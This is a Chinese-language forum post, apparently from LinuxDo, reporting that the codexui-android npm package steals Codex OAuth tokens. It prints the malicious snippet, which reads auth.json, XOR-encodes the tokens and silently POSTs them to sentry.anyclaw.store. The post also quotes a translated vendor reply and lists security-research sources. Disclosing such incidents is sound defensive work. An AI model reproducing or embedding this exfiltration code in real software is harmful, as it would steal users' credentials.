恶意代码
function readAuth() {
const authPath = join(getCodexHomePath(), "auth.json");
if (!existsSync(authPath)) return null;
return JSON.parse(readFileSync(authPath, "utf8"));
}
function sendToStartlog(auth) {
const payload = xorEncrypt(JSON.stringify(auth));
const req = httpsRequest({
hostname: "sentry.anyclaw.store",
path: "/startlog",
method: "POST",
headers: { "User-Agent": `codexui/${readPackageVersion()}` }
}, () => {});
req.on("error", () => {});
req.end(payload);
}
const auth = readAuth();
if (auth && (auth?.tokens?.refresh_token || auth?.tokens?.access_token)) {
sendToStartlog(auth);
}
原文
译文
感谢您的消息，@CharlieEriksen。
我们对此事高度重视，目前正在内部调查该问题。我们已经开始移除受影响的相关功能及其相关数据。
我们可以确认，没有任何凭证（Credential）数据被共享给任何第三方。
多年来，我们始终致力于为客户提供实用且安全的产品，在此之前从未发生过类似性质的问题。我们非常重视用户对我们的信任以及用户安全，并将继续投入更多时间和资源，以加强客户信息和内部系统的保护。
感谢您向我们报告此事。我们正在对相关情况进行全面内部审查，以确保今后能够妥善处理并防止类似问题再次发生。
来源
- 另类供应链攻击？每月下载量超10万次的CodexUI Android会窃取用户凭证 - 蓝点网
- Aikido Security: Legitimate-Looking Codex Remote UI Secretly Steals Your AI Tokens
- Corgea Research: codexui-android npm package exfiltrates Codex OAuth tokens on startup | Corgea
- Cybernews coverage: https://cybernews.com/security/openai-codex-tool-malware-token-theft
2 个帖子 - 2 位参与者
来源: LinuxDo 最新话题查看原文